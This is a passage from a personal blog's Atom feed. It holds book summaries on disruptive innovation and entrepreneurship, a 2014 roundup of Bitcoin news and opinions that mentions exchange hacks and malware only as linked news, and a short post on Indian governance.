Seagate waited for the 3.5&quot; market to grow large enough and then was not able to get customers from Connor Peripherals, who was first getting sale orders from customers and then manufacturing those custom drives.</li>
<li>Create a small unit focused on that small market or acquire one
People want to work on projects which address the need of customers and hence, impact organizations&rsquo; need for profit and growth, if the project lacks this characteristic, then managers have to waste time explaining why the project should be provided resources. Best people avoid such projects, and when things get tight, companies cancel these projects first. Allen Bradley (AB) Company was a leader in electromechanical (EM) switches for HVAC. As they saw less rugged programmable motor controls emerging, they brought a full stake in one company and a partial one in another. Eventually, when programmable control became standard, out of five EM manufacturers, only AB was able to maintain its lead. Johnson and Johnson follow a similar strategy of holding ~160 independent companies.</li>
</ol>
</li>
<li>The ultimate use of disruptive technology is not known in advance, the first few attempts to find the right market is going to fail =&gt; iterative search for product-market fit is important
The strategy for dealing with sustained innovation is execution, while the strategy for dealing with disruptive innovation is learning and discovery with more tolerance toward failure. Guessing the right strategy at the outset is, therefore, not essential. What&rsquo;s more important is to conserve resources for the second and third iterations. HP made a 1.3&quot; drive and targeted the PDA market for it. PDA market flopped. Game makers were interested in a cheaper lower quality and lower capacity 1.3&quot; drive, which HP was either not interested in pursuing or was too exhausted to put more resources towards it.
Honda launched motorbikes in the USA, which were inferior to Harley and BMW in terms of power and pickup. Out of the sheer frustration of its engineers who started dirt biking to vent it out, Honda realized that their bikes were better for off-the-road conditions, and people started ordering them for the same. It became the de facto dirt bike. Regular retailers were not interested in them, and eventually, sports retailers agreed to sell the bike. Honda estimated that it would sell 0.5 million bikes annually while it sold ten times that. This estimate shows they had no idea of the market as well as market size, either. Harley tried to introduce similar bikes, but its distributors were more interested in selling regular Harley bikes with a higher profit margin and hence failed. <strong>Disruptive technologies neither fit in the models of established firms nor their distributors.</strong></li>
<li>Organizations consist of RVP (resources, values, and processes), the latter two are pretty rigid =&gt; using resources of the main organization but do not take its processes and values. Those processes and values, after all, are aligned for sustained innovation along the current path, they are thus, sub-optimal for disruptive innovation). Managers are great at figuring out whether an employee is a right fit for a project or not. They should put the same thought into the organization as well, an organization&rsquo;s values and processes are suitable for a specific type of innovation; they can fail miserably at others.
Only companies that succeed at disruption innovation are whose organization size matches the size of the opportunity, which initially is pretty small.
<strong>Resources</strong> are usually easy to acquire and move across an organization.
<strong>Processes</strong> exist so that employees can do specific repetitive tasks in a predefined fashion with reduced friction and increases efficiency. Since these processes are for sustaining innovations, they are a hindrance to disruptive innovation, which would require a new set of processes.
<strong>Values</strong> are something that an organization values. Such values are explicitly or implicitly communicated to all employees. For example, &ldquo;we only focus on products whose gross margins are more than 40%&rdquo; or &ldquo;we only produce products with quality about a certain threshold&rdquo;. Values are a hindrance since employees who have internalized these values cannot value disruptive products. These disruptive products, by definition, are inferior on these metrics. Big companies implicitly value only big markets. Their size becomes a hindrance to small markets, which can later become big.
Resources tend to be flexible and are used for a variety of situations, processes, and values, by nature, are inflexible. A startup&rsquo;s capabilities reside mostly in its resources, for its initial success to continue. As it grows, it has to develop processes and values, which will ensure the continuous production of products. Therefore, for a startup addressing a new problem is about getting the resources right, for a big company, its capabilities (and disabilities) are more tied to its (rigid) processes and values. DEC, which dominated mini-computers, had the resources to succeed in micro-computers. Still, its processes were more aligned towards a two-year cycle, with everything made in-house, while most companies were outsourcing the making of parts for micro-computers. Also, it valued the higher profit margin business of the mini-computer.
IBM acquired Rolm, the PBX maker, in 1994, but rather than let it run as a standalone unit, it decided to integrate, and hence, push its processes and values onto Rolm, and it failed badly.
Cisco acquired Stratacom, the ATM and WAN equipment maker, and let it run as an independent unit. It infused more resources for its faster growth.
Microsoft needed to build Internet Explorer (IE) to compete with Netscape since Internet Explorer was a sustaining innovation as it strengthened its existing Windows product, but required a new process, a heavyweight internal team was needed instead of the autonomous unit.
In 1999, Compaq tried to sell computers over the Internet, and its retailers forced it to back off. A different autonomous unit might have succeeded.
Dell started selling computers over the telephone and later began selling them over the Internet was able to do that without any issues since, for Dell, this was sustaining innovation.</li>
<li>What makes disruptive technology unattractive for an established market constitutes their greatest strength in emerging markets =&gt; finding new markets that will value the product, and ignoring established markets as long as the product is not up to the established market&rsquo;s demand.
Product competition has four phases, the basis of competition changes from functionality to reliability, then convenience, and finally, price (commoditization). The real challenge for a new/disruptive product is a marketing one, and it has to find a market where product competition occurs along dimensions that favored the disruptive attributes of the product. Thus, the aim should always be to provide adequate functionality rather than superior functionality since exceeding the market&rsquo;s demand is redundant.
Quicken by Intuit was a later entrant in the small business accounting software market but captured 70% market by producing a more straightforward product, e.g., previous software required two entries per record, and Quicken changed it to one.
Genentech invested $ 1B to produce human equivalent Insulin. Earlier ones were animal-based, and a small fraction of humans built resistance against them, which were more purified. They tried to sell them at a 25% premium and failed. At the same time, Novo, the Danish Insulin maker, made Insulin pens, which made injecting Insulin more accessible. It was able to sell its product for a 30% premium. Genentech&rsquo;s product was a commodity, while Novo was a premium product in the eyes of customers.
Sony built transistor-based radios, which were of lower quality, but customers valued their portability.</li>
</ol>
<h2 id="some-more-examples">Some more examples</h2>
<ol>
<li>Sears dominated the departmental store era but lost to discount stores, once the quality of products sold by discount stores improved beyond customers&rsquo; requirements.</li>
<li>IBM dominated the mainframe but failed to capture the minicomputer. DEC dominated minicomputers but lost the microcomputer market. Interestingly, IBM returned to dominating the PC market for a while with its stand-alone PC division.</li>
<li>As hard drives became smaller, at each stage, new entrants found new customers to sell their products. The new markets, initially, were too small to be lucrative for incumbents, 8&quot; (customer - mini frame), 5.25&quot; (customer - mini), 3.5&quot; (customer - micro), 2.5&quot; (customer - portable computers), 1.8&quot; (customer - heart monitor and automobiles).
Interestingly, the 1.8&quot; drive was developed at a big company first, which failed to market it to automobiles, who were buying them from a small startup instead.</li>
<li>Mechanical excavators were more powerful than hydraulic ones and hence, more preferred for mining. So, the maker of hydraulic ones initially found a market in home construction, e.g., for sewer lines. Eventually, the &ldquo;power&rdquo; metric of hydraulic exceeded the market&rsquo;s demand though remained less powerful than mechanical excavators, and people started using them in mining since they ranked better on metrics of &ldquo;safety&rdquo;. Mechanical excavators were hazardous when a cable snapped.</li>
<li>US integrated mill makers focused on the higher end of the market like cans. At the same time, mini-mills, which initially produced lower-quality steel and focused on low-margin reinforcement bars, later, as they improved the quality, moved to the higher end of the market.</li>
<li>HP created a separate unit to focus on ink-jet printers, while the leading organization focused on laser printers. They ended up targeting distinct markets giving HP an edge over Cannon.</li>
<li>Intel focused on the DRAM market in the 1970s. Its resource allocation formula allocated capacity proportional to the gross margins of product lines. So, more resources were shifted towards the microprocessor automatically. Eventually, without a specific strategy, Intel became the market leader of the microprocessor market, which Gordon Moore himself underestimated.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Thoughts on Bitcoin (part 2)</title><link href="https://ashishb.net/tech/random-thoughts-on-bitcoin-part-2/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/random-thoughts-on-bitcoin/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Bitcoin"/><link href="https://ashishb.net/tech/material-design-and-google-strategy/?utm_source=atom_feed" rel="related" type="text/html" title='"Material design" and Google&#39;s strategy'/><link href="https://ashishb.net/tech/internet-activists-the-advent-of-snap-judgement-and-internets-permanence/?utm_source=atom_feed" rel="related" type="text/html" title="Advent of snap judgement and Internet's permanence"/><link href="https://ashishb.net/tech/fixing-tech-recruiting/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on fixing tech recruiting"/><link href="https://ashishb.net/tech/nokia-working-on-android-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Why Nokia's (rumored) Android phone is doomed"/><id>https://ashishb.net/tech/random-thoughts-on-bitcoin-part-2/</id><author><name>Ashish Bhatia</name></author><published>2014-06-04T05:34:24+00:00</published><updated>2014-06-04T05:34:24+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Bitcoin&rsquo;s rollercoaster journey, learning from exchange failures, IRS rulings, and debates among thought leaders. Delve into key trends and technical insights.</blockquote><p>Here is a summary of things that have happened since I wrote the 
<a href="/security/random-thoughts-on-bitcoin/">previous</a> Bitcoin blog post.</p>
<h2 id="news">News</h2>
<ol>
<li>Mt. Gox, the biggest bitcoin exchange   
    
    
<a href="https://www.bloomberg.com/news/2014-02-07/bitcoin-price-falls-as-mt-gox-exchange-halts-activity.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">failed</a>, and ~$500 million Bitcoins disappeared, despite months of speculation (some pointing to   
    
    
<a href="https://www.coindesk.com/bitcoin-bug-guide-transaction-malleability/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">transaction malleability bug</a>),   
    
    
<a href="https://techcrunch.com/2014/03/09/mt-gox-hack-allegedly-reveals-bitcoin-balances-customer-account-totals/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hacking and leak of data</a>, claim of fraud (backed by   
    
    
<a href="https://willyreport.wordpress.com/2014/05/25/the-willy-report-proof-of-massive-fraudulent-trading-activity-at-mt-gox-and-how-it-has-affected-the-price-of-bitcoin/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">thorough analysis</a>), and a   
    
    
<a href="https://www.humint.is/goxcoin?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Goxcoin</a> proposal to find a solution, no progress has yet been made. What&rsquo;s even worse, malware is being   
    
    
<a href="https://www.securelist.com/en/blog/8196/Analysis_of_Malware_from_the_MtGox_leak_archive?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">distributed</a> in the name of the Mt. Gox archive data leak.</li>
<li>Flexcoin, a bitcoin exchange has been   
    
    
<a href="https://flexcoin.com/index.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">shut down</a> since they failed to understand that financial transactions need strong consistency and eventual consistency is not sufficient (In this context: &quot; all services should have had the same view of the user&rsquo;s Bitcoin balance, but they didn&rsquo;t &ldquo;). Poloniex suffered from the same   
    
    
<a href="https://hackingdistributed.com/2014/04/06/another-one-bites-the-dust-flexcoin/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">issue</a> but was able to fix it in time.</li>
<li>Now, since Bitcoin has become real money, it has started to toll on real lives, whether   
    
    
<a href="https://news.bitcoin.com/mt-gox-bitcoin-missing-in-relation-to-mysterious-death-of-exchange-ceo/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Autumn Radtke</a> committed   
    
    
<a href="https://in.reuters.com/article/2014/03/06/bitcoin-death-autumn-radtke-idINDEEA2506X20140306?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">suicide</a> or not has not been resolved yet.</li>
<li>Bitcoins from Brainwallet can be stolen via passphrase   
    
    
<a href="https://news.ycombinator.com/item?id=7365663&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">brute force</a> - another demonstration of how crypto is never broken in theory, it&rsquo;s almost always bad implementation or weak keys.</li>
<li>Newsweek   
    
    
<a href="https://www.newsweek.com/2014/03/14/face-behind-bitcoin-247957.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">claimed</a> that it found the creator of Bitcoin, Satoshi Nakamoto, but he   
    
    
<a href="https://www.theguardian.com/technology/2014/mar/17/dorian-satoshi-nakamoto-denies-creator-bitcoin?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">denied</a> it.</li>
<li>IRS has   
    
    
<a href="https://www.irs.gov/pub/irs-drop/n-14-21.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ruled</a> that Bitcoins are not a currency but an investment (favorable capital tax gains for those who are planning to hold them for at least one year)</li>
<li>  
    
    
<a href="https://america.aljazeera.com/articles/2014/4/7/code-your-own-utopiameetethereumbitcoinasmostambitioussuccessor.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Ethereum</a> uses the same underlying principle of Bitcoins and applies it to writing social contracts.</li>
<li>CoinDesk published a nice   
    
    
<a href="https://www.slideshare.net/CoinDesk/coindesk-state-of-bitcoin-q1-2014?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">report</a> summarizing the Q1 2014 of Bitcoins.</li>
</ol>
<h2 id="opinions">Opinions</h2>
<ol>
<li>An old white guy (Warren Buffett)   
    
    
<a href="https://www.cnbc.com/id/101494937?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">said</a> that Bitcoins are like checks and are just another way of transmitting money and hence, have no intrinsic value. A young white guy (Marc Andreessen)   
    
    
<a href="https://www.businessinsider.com/andreessen-horowitz-vs-berkshire-2014-3?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">replied</a> with ad hominem that &ldquo;Track record of old white men who don’t understand tech crapping on tech they don’t understand still at 100%.&rdquo; This brown guy thinks that while Buffett has a valid point that Bitcoins are just like checks, what Buffett missed out on is that, unlike checks, Bitcoins are not tied to a particular set of banks (bank of the sender and receiver), this decentralization alone strongly diminishes the power of traditional financial institutions in the long run.</li>
<li>The permanence of data in blockchain raises interesting questions, it is already being used as   
    
    
<a href="https://answers.microsoft.com/en-us/protect/forum/mse-protect_updating/microsoft-security-essentials-reporting-false/0240ed8e-5a27-4843-a939-0279c8110e1c?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">a prank</a> but what if it&rsquo;s used for harassment (by leaking someone&rsquo;s info) or child porn.</li>
<li>Sam Altman   
    
    
<a href="https://blog.samaltman.com/bitcoin-price-pressure?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">claimed</a> that Bitcoin has a downward price pressure, I disagree, I think that&rsquo;s just short-term fluctuations, as more companies adopt Bitcoin (and I believe that will happen) the price pressure would be upward in the longer run.</li>
<li>Alex Daley (from Casey Research)   
    
    
<a href="https://www.caseyresearch.com/cdd/failure-to-understand-bitcoin-could-cost-investors-billions?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">wrote</a>   
    
    
<a href="https://www.caseyresearch.com/cdd/bitcoins-uncomfortable-similarity-to-some-shady-episodes-in-financial-histo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">multiple</a> thorough and bearish posts on Bitcoins, he agreed with the premise of technology but referred current status as the hype. He raises a subtle point that because all Bitcoin transactions are tracked publicly, a legally earned Bitcoin which at some point in the past was acquired illegally can be returned to the original owner. I disagree with his conclusion that Bitcoin will not go beyond speculations.</li>
</ol>
<h2 id="technical-readings">Technical readings</h2>
<ol>
<li>  
    
    
<a href="https://www.igvita.com/2014/05/05/minimum-viable-block-chain/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Minimum viable blockchain</a> - an amazing reading on the underlying concept of the distributed ledger and preventing double spending</li>
<li>  
    
    
<a href="https://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Using raw Bitcoins</a> - gory technical implementation details of Bitcoin protocol in python</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/bitcoins" term="bitcoins" label="bitcoins"/></entry><entry><title type="html">Book Summary: The Education of Millionaires by Michael Ellsberg</title><link href="https://ashishb.net/book-summary/the-education-of-millionaires/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/think-like-a-freak/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Think like a freak by Steven Levitt and Stephen Dubner"/><link href="https://ashishb.net/book-summary/so-good-they-cant-ignore-you/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: So good they can't ignore you by Cal Newport"/><link href="https://ashishb.net/book-summary/the-innovators-dilemma/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Innovator's Dilemma by Clayton Christensen"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><id>https://ashishb.net/book-summary/the-education-of-millionaires/</id><author><name>Ashish Bhatia</name></author><published>2014-06-02T09:26:28+00:00</published><updated>2014-06-02T09:26:28+00:00</updated><content type="html"><![CDATA[<blockquote>Explore life education vs. college, entrepreneurship, and personal branding. Learn to make work meaningful, find mentors, market and sell effectively.</blockquote><p>The   
    
    
<a href="https://amzn.to/1pyWc78?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> emphasizes heavily life education, glorifies college dropouts, and questions college education except for specialized fields like law and medicine.</p>
<h2 id="how-to-make-your-work-meaningful-and-your-meaning-work">How to make your work meaningful and your meaning work</h2>
<p>  
    
    
<a href="https://en.wikipedia.org/wiki/David_Gilmour?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">David Gilmour</a> dropped out of Cambridge and being impoverished, ended up in a hospital due to malnutrition before becoming the famous drummer for Pink Floyd.
  
    
    
<a href="https://ocscsailing.com/club/story?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Anthony Sandberg</a> dropped out of Dartmouth, tried several things, and eventually became a successful sailing instructor (he borrowed boats from boat owners on weekdays to teach and hence, was able to start with zero initial capital).
Impact requires venturing into the unknown (whose risk most people avoid) and leadership (which acts as a multiplier of impact).
Four steps</p>
<ol>
<li>Get financial stability - get rid of debts, and have some savings.</li>
<li>Create room for experimentation - Figure out a job schedule that allows for experimentation</li>
<li>Begin experimentation use money from step 1 to experiment around (while keeping the source of money around)</li>
<li>Strike out on your own - Either as a part of the current organization or on your own, follow the direction set by a successful experiment from step 3</li>
</ol>
<p>Entrepreneurship is like dating - failures are unavoidable and are a part of learning. What matters most is resilience.
  
    
    
<a href="https://en.wikipedia.org/wiki/Mike_Faith?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mike Faith</a> is an amazing salesman, he made his first million and then lost everything (in the UK property market) in his mid-twenties. With his resilience, he moved to the USA with $1000, eventually founding   
    
    
<a href="https://www.headsets.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">headsets.com</a>.
If the pursuit of a risky dream imparts useful business skills along the journey, then even in the worst case, the pursuer ends up learning useful skills.</p>
<h2 id="how-to-find-great-mentors-and-teachers-to-connect-with">How to find great mentors and teachers to connect with</h2>
<p>Great networking is not about the back-and-forth, it&rsquo;s about giving with no expectation of anything in return.
  
    
    
<a href="https://www.bisnow.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Elliot Bisnow</a> invited several CEOs on an all-expenses-paid ski trip to Utah (to build connections with them), later, he called corporate sponsors to pay for the trip. Today he is one of the most well-connected twenty-something and is pursuing the summit trips full time.
There are two basic ways to find great connections</p>
<ol>
<li>Find people with great future potential and help them in reaching their goal</li>
<li>Add some value to the life of someone who is already established (common areas being personal finance, relationships, health, hobbies, and causes or a specialized skill that could be of use to the receiver) or connect them to someone where a connection could create a win-win potential for both parties</li>
</ol>
<h2 id="marketing">Marketing</h2>
<p>The general perception of marketing is that it&rsquo;s sleazy and manipulative, the reality is that good marketing is making your potential customers know about you (or your company).
A lot of businesses fail because they are not able to reach out to the right customers.
Recommended blogs:   
    
    
<a href="https://copyblogger.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">copyblogger.com</a>,   
    
    
<a href="https://marieforleo.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">marieforleo.com</a>,   
    
    
<a href="https://mattfurey.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">mattfurey.com</a>,   
    
    
<a href="https://www.jonathanfields.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">jonathanfields.com</a>, and   
    
    
<a href="https://sethgodin.typepad.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Seth Godin</a></p>
<h2 id="sales">Sales</h2>
<p>People don&rsquo;t talk about the best-writing author; they talk about the best-selling author.
One can get better at a particular craft but being able to sell oneself is equally important. Successful people in a craft are not always the best individuals in that craft.
Success is a skill - it consists of the skill of marketing, the skill of sales, and the skill of leadership.
Sales are about knowing what customer needs and if you have a good solution/product, offering it.
Leadership is about being able to influence (not manipulate) people not control them.
Marijo Franklin - a single mother of three, reached out to a charter bus company and became its first salesperson, navigated several senior sales positions, and eventually founded the California Leadership center.</p>
<h2 id="investing-for-success">Investing for success</h2>
<p>  
    
    
<a href="https://en.wikipedia.org/wiki/John_Paul_DeJoria?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">John Paul Dejoria</a> - was a single father and broke. He tried several jobs with little success. He learned sales while doing the door-to-door selling of encyclopedias (in the pre-Wikipedia era). Eventually, he bootstrapped   
    
    
<a href="https://paulmitchell.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hair care products</a> with a friend Paul Mitchell.
Most people reinvest their earnings either into their business or learn new skills (as opposed to investing them in debts and equities).
  
    
    
<a href="https://en.wikipedia.org/wiki/Phil_Ruffin?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Phillip Ruffin</a> bootstrapped himself by doing a small real estate business and keeping it growing. Eventually, he took the risk of buying Frontier hotel (which was having union problems, he settled with the union first before buying the hotel). The later sale of the hotel promoted him from multi-millionaire to billionaire status.
  
    
    
<a href="https://en.wikipedia.org/wiki/Matt_Mullenweg?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Matt Mullenweg</a> - created WordPress, tried a few jobs and did not succeed much, eventually decided to focus full time on WordPress (the most popular content management system in the world).
Learning as an adult: Adults need a reason to learn something, they are involved in planning as well as evaluation, more interested in subjects having immediate relevance, more interested in problem-oriented (as opposed to content-oriented), and prefer more self-directed education (as opposed to taught).</p>
<h2 id="building-the-brand-of-you">Building the brand of you</h2>
<p>Your brand is what people think about when they hear your name.
One should have a website under his/her name to establish the brand.
  
    
    
<a href="https://scobleizer.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Robert Scoble</a> started blogging when there were ~200 blogs in the world. Worked in NEC sales dept, eventually hired by Microsoft (when he suggested corporate blogging to Steve Ballmer, then CEO of Microsoft) and that did not go well. Currently, working as the public face of Rackspace. His biggest credential is being able to build his professional presence at the right time.</p>
<h2 id="entrepreneurial-vs-employee-mindset">Entrepreneurial vs. Employee mindset</h2>
<p>We don&rsquo;t choose what happens to us, but we get to choose what it means.
Entrepreneurial mindsetemployee mindsetFocus on contributionFocus on entitlementFocus on outcomeFocus on outputSort for what&rsquo;s neededSort for what&rsquo;s requestedGo towards big decisions (even without authority)Turn away from even the small decisions you have the authority to makeSee your circumstances as illusory and temporarySee your circumstances as fixed and permanent
Work yourself out of your job, so that, you can take an even bigger role.
  
    
    
<a href="https://en.wikipedia.org/wiki/C%C3%A9sar_Ritz?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Caesar Ritz</a> started as a waiter, but he looked at himself in a waiter role, as a transitional point, to hotel manager one day.
Entrepreneurial mindset people carve out their path as opposed to working on the path carved out by someone else.
  
    
    
<a href="https://en.wikipedia.org/wiki/Louis_Marx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Louis Marx</a> fought hard with his employer (Ferdinand Strauss) to shut down the retail business and focus solely on toy manufacturing. He failed, so, he left and started his own company (Louis Marx and Company) which became the largest toy manufacturer in the 1920s.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Thoughts on Bureaucrats, Technocrats and Politicians</title><link href="https://ashishb.net/politics/thoughts-on-bureaucrats-technocrats-and-politicians/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/politics/beyond-numbers-dealing-with-terrorism/?utm_source=atom_feed" rel="related" type="text/html" title="Beyond Numbers: Dealing with terrorism in India"/><link href="https://ashishb.net/politics/understanding-corruption-a-talk-by-subramanian-swamy/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding Corruption: A talk by Subramanian Swamy"/><link href="https://ashishb.net/short-stories/a-visit-to-gadar-memorial-in-san-francisco/?utm_source=atom_feed" rel="related" type="text/html" title="A visit to Gadar Memorial in San Francisco"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/travel/why-indian-passport-remains-weak/?utm_source=atom_feed" rel="related" type="text/html" title="Why Indian Passport remains weak"/><id>https://ashishb.net/politics/thoughts-on-bureaucrats-technocrats-and-politicians/</id><author><name>Ashish Bhatia</name></author><published>2014-05-31T22:20:04+00:00</published><updated>2014-05-31T22:20:04+00:00</updated><content type="html"><![CDATA[<blockquote>India&rsquo;s leadership shift from bureaucrats to technocrats could redefine governance. Explore the impact of this transition on policy and progress.</blockquote><p><strong>Bureaucrats</strong> take the actions which are justifiable (by book or by order of their superiors), they care less about consequences (in case there are multiple possible actions, they let the politician decide the appropriate action).</p>
<p><strong>Technocrats</strong> take the actions which (according to their analysis) have best (long term/short term) consequences, they care less about how harsh the action could be on certain individuals and their logical thinking usually fails to take into account   
    
    
<a href="https://en.wikipedia.org/wiki/Unintended_consequences?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">the law of unintended consequences</a> like    
    
    
<a href="https://en.wikipedia.org/wiki/Cobra_effect?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cobra Effect</a>.</p>
<p><strong>Politicians</strong> take the actions which are palatable and which are usually good for their (long term/short term, well, usually for next elections) popularity.</p>
<p>Till now, India was run primarily by politicians + bureaucrats, it   
    
    
<a href="https://www.newindianexpress.com/nation/MP-Secretariat-to-Delegate-Work-to-New-Team/2014/05/30/article2252724.ece?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">seems</a> to be transitioning towards politicians + technocrats.
It would be interesting to see the (short term/long term) consequences of this transition.</p>
<p>Note: The above statements are not my original discovery, I have read statements along similar lines at various sources.</p>
]]></content><category scheme="https://ashishb.net/category/politics" term="politics" label="politics"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/></entry><entry><title type="html">Book summary: How to create a mind by Ray Kurzweil</title><link href="https://ashishb.net/book-summary/how-to-create-a-mind-by/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/winners-take-all-the-9-fundamental-rules-of-high-tech-strategy/?utm_source=atom_feed" rel="related" type="text/html" title="Winners Take All - The 9 fundamental rules of high tech strategy"/><link href="https://ashishb.net/book-summary/the-lean-startup/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Lean Startup by Eric Ries"/><link href="https://ashishb.net/book-summary/remote-office-not-required/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Remote - office not required"/><link href="https://ashishb.net/book-summary/the-start-up-of-you/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Start-Up of You"/><link href="https://ashishb.net/book-summary/the-tangled-web/?utm_source=atom_feed" rel="related" type="text/html" title="Book Review: The Tangled web"/><id>https://ashishb.net/book-summary/how-to-create-a-mind-by/</id><author><name>Ashish Bhatia</name></author><published>2014-05-09T10:06:19+00:00</published><updated>2014-05-09T10:06:19+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the book&rsquo;s captivating journey into the human brain&rsquo;s intricacies and scientists&rsquo; quest to replicate it, featuring thought experiments and AI insights.</blockquote><p>The   
    
    
<a href="https://amzn.to/1kR5Ig2?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is an insightful journey into the contemporary understanding of the human brain and how scientists are trying to replicate it.
Major takeaways from the book are listed below.</p>
<h2 id="thought-experiments-in-the-world">Thought experiments in the world</h2>
<ol>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Charles_Lyell?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Charles Lyell</a> was the first person to propose that steady movement of water carves out gorges and canyons.</li>
<li>This became the inspiration for   
    
    
